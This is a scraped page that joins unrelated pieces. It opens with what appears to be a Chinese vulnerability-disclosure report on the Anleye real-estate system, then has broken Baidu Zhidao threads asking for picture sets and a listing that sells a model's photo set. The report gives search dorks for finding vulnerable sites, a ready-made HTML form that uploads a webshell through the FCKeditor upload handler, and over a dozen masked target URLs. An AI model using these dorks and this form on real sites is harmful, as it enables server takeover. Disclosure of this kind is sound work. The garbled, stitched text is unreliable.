分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放（、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
详细说明：
程序：安乐业房产系统
涉及版本：全版本（目前存在的大部分是V4.0 和V5.0）
漏洞描述：fck编辑器上传过滤不完全，可上传路asa
这样的文件或者建立x.asp文件夹，利用IIS6.0解析即可getshell
不是IIS6.0的话可构造上传php等文件（media type未过滤）
/common/lib/FCKeditor/editor/filemanager/upload/php/upload.php
关键字：powered by anleye
inurl:community/g-xx.html
案例非常多，这里举一例：
http://**.**.**.**//common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**//data/fck/File/1.asa
构造上传：（本地构造上传表单，可上传任意文件）
code 区域&form id=&frmUpload& enctype=&multipart/form-data&
action=&http://**.**.**.**//common/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media& method=&post&&Upload a new file:&br&
&input type=&file& name=&NewFile& size=&50&&&br&
&input id=&btnUpload& type=&submit& value=&Upload&&
查看源代码得到shell路径：
http://**.**.**.**//data/fck/1.php
其他部分案例：
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**//common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
漏洞证明：
修复方案：
升级货替换编辑器
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：13
确认时间： 20:52
厂商回复：
CNVD确认所述漏洞情况，暂未建立与软件生产厂商（或网站管理单位）的直接处置渠道，待认领。
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先这个图的原图套图地址_百度知道
这个图的原图套图地址
com/zhidao/pic/item/b21bb051f0bd4e677.hiphotos.jpg" esrc="http://h.com/zhidao/wh%3D450%2C600/sign=a804eadd262dd42a5f5c09af360b7783//zhidao/wh%3D600%2C800/sign=f86a617c194c510fae91ea1cbb051f0bd4e677.hiphotos.hiphotos.baidu://h.jpg" target="_blank" title="点击查看大图" class="ikqb_img_alink"><img class="ikqb_img" src="http://h.baidu<a href="http
cn/bmiddle/gw1eh4obdkzruj20vh1batg1
其他类似问题
为您推荐：
套图的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁求这个系列的套图_百度知道
求这个系列的套图
baidu.baidu.baidu.hiphotos.jpg" esrc="/zhidao/wh%3D450%2C600/sign=a3e374e22b2eb938eca903/21a526fd7ca7bcbd5fc.jpg" target="_blank" title="点击查看大图" class="ikqb_img_alink"><img class="ikqb_img" src="http.hiphotos://h://h&/zhidao/pic/item/21a526fd7ca7bcbd5<a href="/zhidao/wh%3D600%2C800/sign=f6ed7b3c16/21a526fd7ca7bcbd5fc
提问者采纳
php.php.lightnovel.lightnovel://www。&&你看要哪张，我给你搬过来
这张图的另一半有吗
这是原图，楼下的是p的，版本有很多
提问者评价
太给力了，你的回答完美地解决了我的问题，非常感谢！
来自团队：
其他类似问题
为您推荐：
套图的相关知识
其他1条回答
这张图不完整我有原图你要不要
百度会压缩图
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁H-CUP！！ 瑞莎Trista写真套图上架~~
套图内容（节选）
价格：请登录后订阅下载。
此套图有积分限制，非订阅会员至少要有 5000 积分才可以以原价购买。
VOL.128 瑞莎Trista
发行号：MYGVOL0128
数量：51 P
大小：208.81 MB
价格：请登录后订阅下载。
H-CUP！！ 瑞莎Trista写真套图上架~~我还以为是G，没想到模特说是H！！大家目测吧，全套写真51张！订阅用户可以免费下载！
瑞莎Trista
新疆 克拉玛依
共有304人购买
秀人网招聘
秀人网模特平台 - 模特摄影师入驻联系QQ： （需验证）
Copyright (C)}